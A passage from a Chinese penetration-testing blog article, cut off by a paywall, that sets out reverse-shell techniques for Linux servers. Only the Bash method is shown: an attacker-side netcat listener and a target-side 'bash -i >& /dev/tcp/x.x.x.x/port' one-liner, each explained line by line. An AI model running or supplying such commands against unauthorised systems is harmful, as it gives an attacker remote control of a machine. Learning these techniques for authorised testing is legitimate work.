超级会员免费看
本文详细介绍了在内网渗透测试中，针对Linux服务器如何利用Bash、telnet、nc（netcat）以及多种脚本语言（如Python、Perl、Ruby等）进行反弹shell的操作。文中列举了各种方法的具体命令行示例，包括监听和目标主机上的执行命令，旨在汇总常见的反弹shell技巧。
反弹shell的N种姿势
文章目录
0x00 前言
在渗透测试的过程中，在拿到webshell以后，如果目标主机是Windows主机，则是通过开3389端口在远程连接，如果目标主机是linux服务器，一般我们都会选择反弹shell来进行操作。在这里总结下反弹shell常见的几种姿势。
0x01 Bash反弹
1.1 方法一
攻击者主机上执行监听：
nc -lvvp port
目标主机上执行：
bash -i >& /dev/tcp/x.x.x.x/port 0>&1
#bash -i 打开一个交互的bash
#>& 将标准错误输出重定向到标准输出
#/dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip，port为端口
#0>&1 标准输入重定向到标准输出，实现你与反弹出来的shell的交互
注：/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相
订阅专栏 解锁全文
扫一扫
2万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
